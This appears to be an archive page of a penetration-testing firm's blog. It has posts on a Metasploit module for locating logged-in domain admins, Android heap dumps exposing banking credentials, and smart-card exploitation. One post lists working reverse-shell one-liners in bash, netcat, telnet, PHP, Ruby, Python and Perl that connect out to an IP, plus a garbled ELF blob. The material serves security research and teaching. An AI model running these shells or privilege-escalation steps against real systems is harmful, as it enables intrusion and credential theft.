Grey bar Blue bar
Share this:

Mon, 22 Apr 2013

Windows Domain Privilege Escalation : Implementing PSLoggedOn in Metasploit (+ a bonus history module)

There are multiple paths one could take to getting Domain Admin on a Microsoft Windows Active Directory Domain. One common method for achieving this is to start by finding a system where a privileged domain account, such as a domain admin, is logged into or has recently been logged into. Once access to this system has been gained, either stealing their security tokens (ala Incognito or pass-the-hash attacks) or querying Digest Authentication (with Mimikatz/WCE) to get their clear-text password. The problem is finding out where these user's are logged in.


I've often seen nmap and the smb-enum-sessions script (http://nmap.org/nsedoc/scripts/smb-enum-sessions.html) used to retrieve all the user sessions on the network. This (not so grep'pable) output is then grep'ed to find the hosts where our target user is logged in. The process of smb-enum-sessions and subsequent analysis can be quite time consuming and clumsy. On a recent assessment, multiple tunnels in, where uploading nmap wasn't a great idea, we realised that there has to be a better way of doing this. While searching for an alternative solution we came across PsLoggedOn (SysInternals Suite) which, with a single binary, allows you search the network for locations where a user is logged in. The downside with this is that it doesn't cleanly run via psexec or other remote shells and you need graphical logon to a system on the domain, and you need to upload another binary (the PsLoggedOn executable) to the target system. Examining how PsLoggedOn worked we figured out that it was simply using the Windows NetSessionEnum API. Having a look at the API I figured that it should be possible to write a simple post exploit module for Metasploit using the railgun.


After some trial and error, we now present enum_domain_user.rb a simple Metasploit post exploit module capable of finding network sessions for a specific user. Below is a screenshot of the module in action.



To use the module,


1.) Download and copy it to:
<msfinstall>/modules/post/windows/gather/
(we'll send a pull request to metasploit-framework's github shortly).


2.) In MSF:
use post/windows/gather/enum_domain_user


3.) Set the USER and SESSION variables.


4.) Then simply run it with "exploit".


The module can also be used directly from meterpreter with:
run post/windows/gather/enum_domain_user USER=username


Warning, this doesn't seem to work with x64 meterpreter yet mostly likely due to some memory pointer stuff I haven't worked out. Hopefully this will get updated shortly, or even better, one of you smart people out there can fix my horrible Ruby.

Bonus


As an added extra I've included a Metapsloit history plugin. This plugin will simply allow you to view all the commands executed since the module was loaded and then execute them "bash style".


Typing "history" will give display the last 10 commands executed. If you wish to see more commands, type history <numberof entries>


To run a command from the history list type:
history !<command number>


Below is an action shot of the history module.



To install:


1.) Download and Copy history.rb to the plugins folder: <msf install>/plugins/
2.) In msfconsole type: load history
3.) For usage info type: help history


Both modules are available for download on Github, and I'll submit a pull request to metasploit-framework shortly. Please feel free to fork and be merry. Any updates/fixes/comments are welcome.
Github: https://github.com/sensepost/metasploit

Mon, 11 Feb 2013

Poking Around in Android Memory

Taking inspiration from Vlad's post I've been playing around with alternate means of viewing traffic/data generated by Android apps.


The technique that has given me most joy is memory analysis. Each application on android is run in the Dalvik VM and is allocated it's own heap space. Android being android, free and open, numerous ways of dumping the contents of the application heap exist. There's even a method for it in the android.os.Debug library: android.os.Debug.dumpHprofData(String filename). You can also cause a heap dump by issuing the kill command:

kill -10 <pid number>

But there is an easier way, use the official Android debugging tools... Dalvik Debug Monitor Server (DDMS), -- "provides port-forwarding services, screen capture on the device, thread and heap information on the device, logcat, process, and radio state information, incoming call and SMS spoofing, location data spoofing, and more." Once DDMS is set up in Eclipse, it's simply a matter of connecting to your emulator, picking the application you want to investigate and then to dump the heap (hprof).


1.) Open DDMS in Eclipse and attach your device/emulator


* Set your DDMS "HPROF action" option to "Open in Eclipse" - this ensures that the dump file gets converted to standard java hprof format and not the Android version of hprof. This allows you to open the hpof file in any java memory viewer.


* To convert a android hprof file to java hprof use the hprof converter found in the android-sdk/platform-tools directory: hprof-conv <infile> <outfile>


Using DDMS to dump hprof data


2.) Dump hprof data


Once DDMS has done it's magic you'll have a window pop up with the memory contents for your viewing pleasure. You'll immediately see that the applications UI objects and other base classes are in the first part of the file. Scrolling through you will start seeing the values of variables stored in memory. To get to the interesting stuff we can use the command-line.


3.) strings and grep the .hprof file (easy stuff)


To demonstrate the usefulness of memory analysis lets look at two finance orientated apps.


The first application is a mobile wallet application that allows customers to easily pay for services without having to carry cash around. Typically one would do some static analysis of the application and then when it comes to dynamic analysis you would use a proxy such as Mallory or Burp to view the network traffic. In this case it wasn't possible to do this as the application employed certificate pinning and any attempt to man in the middle the connection caused the application to exit with a "no network connection" error.


So what does memory analysis have to do with network traffic? As it turns out, a lot. Below is a sample of the data extracted from memory:



And there we have it, the user login captured along with the username and password in the clear. Through some creative strings and grep we can extract a lot of very detailed information. This includes credit card information, user tokens and products being purchased. Despite not being able to alter data in the network stream, it is still easy to view what data is being sent, all this without worrying about intercepting traffic or decrypting the HTTPS stream.



A second example application examined was a banking app. After spending some time using the app and then doing a dump of the hprof, we used strings and grep (and some known data) we could easily see what is being stored in memory.

strings /tmp/android43208542802109.hprof | grep '92xxxxxx'

Using part of the card number associated with the banking app, we can locate any references to it in memory. And we get a lot of information..



And there we go, a fully "decrypted" JSON response containing lots of interesting information. Grep'ing around yields other interesting values, though I haven't managed to find the login PIN yet (a good thing I guess).


Next step? Find a way to cause a memory dump in the banking app using another app on the phone, extract the necessary values and steal the banking session, profit.


Memory analysis provides an interesting alternate means of finding data within applications, as well as allowing analysts to decipher how the application operates. The benefits are numerous as the application "does all the work" and there is no need to intercept traffic or figure out the decryption routines used.

Appendix:


The remoteAddress field in the response is very interesting as it maps back to a range owned by Merck (one of the largest pharmaceutical companies in the world http://en.wikipedia.org/wiki/Merck_%26_Co.) .. No idea what it's doing in this particular app, but it appears in every session I've looked at.

Tue, 11 Dec 2012

T-Shirt Shell Competition

For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don't hurt me, don't hurt me, no more):



Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don't claim the full idea as our own. Anyway, onto the shells!

Netcat — 18 chars


nc -e sh 1.0.0.1 1


Requires nc with -e support (unlikely to be on remote box by default).

Bash — 27 chars


sh>&/dev/tcp/1.0.0.1/8 0>&1


Requires bash with /dev/tcp support, not always there (e.g. RHEL). Vlad's winning contribution.

Telnet — 37 chars


mkfifo x&&telnet 1.0.0.1 8 0<x|sh 1>x


Will work on most systems, can replace telnet with nc to get 33 chars.

PHP — 56 chars


<?php $s=fsockopen("1.0.0.1",8);exec("sh<&3>&3 2>&3");?>


Requires PHP CLI. This one from Rogan.

Ruby — 73 chars


f=TCPSocket.open("1.0.0.1",8).to_i
exec sprintf("sh<&%d>&%d 2>&%d",f,f,f)


Need to invoke this with

ruby -rsocket small-rev.rb


which is a bit of a cheat for size. This was also taken from pentestmonkey

Python — 155 chars


import socket as x,os
s=x.socket(2,1)
s.connect(("1.0.0.1",8))
d=os.dup2
f=s.fileno()
d(f,0)
d(f,1)
os.system("sh")

This assumes you use unix line breaks. My personal favourite.

Perl - 121 chars


$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.0.0.1:8");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

Invoke with
perl -MIO small-rev.pl

Elf - 133 chars


ELF??????????????T€4???????????4? ????????????????€?€ ??? ?????????1ÛSCSjjfX‰áÍ€—[h??fh fS‰ájfXPQW‰áCÍ€[™ 

[more]

Mon, 10 Sep 2012

44Con: Vulnerability analysis of the .NET smart Card Operating System

Today's smart cards such as banking cards and smart corporate badges are capable of running multiple tiny applications which are often written in high level programming languages like Java or Microsoft .NET and compiled into small card resident binaries. It is a critical security requirement to isolate the execution context and data storage of these applications in order to protect them from unauthorized access by other malicious card applications. To satisfy this requirement, multi-application smart cards implement an “Application Firewall” concept in their operating system which creates an execution sandbox for card applications.

During the recent 44con conference in London, we presented the "HiveMod" reverse engineering tool for .NET smart cards and demonstrated the exploitation of a vulnerability to bypass the card's application firewall. The talk also highlighted threats and possible attack scenarios against smart corporate or military badges.

The presentation slides can be viewed below:

The following video shows exploitation of the "public key token spoofing" vulnerability on the .net smart card using the "HiveMod" tool:

Please contact SensePost research team for more information.

Mon, 3 Sep 2012

Solution for the 44Con Challenge

Last week, we published our 44Con "SillySIP" Challenge for free entry to our BlackOps training course at the 44Con conference this year. We'd like to thank all those who attempted this challenge.

$queue->add($beatbox_drumroll);

The winner, who responded with the first correct answer, is Ben Campbell. As a result, he gets to hang out with our trainers on a free BlackOps training course.

Congratulations Ben! We look forward to meeting you (in person) at the BlackOps training.

For those wondering what the basic / fundamental model answer for this challenge would look like, I've attached the module here.

We hope that all participants found this challenge as an opportunity to reawaken their inner "Metasploit-Module Coding-Daemon" ;-)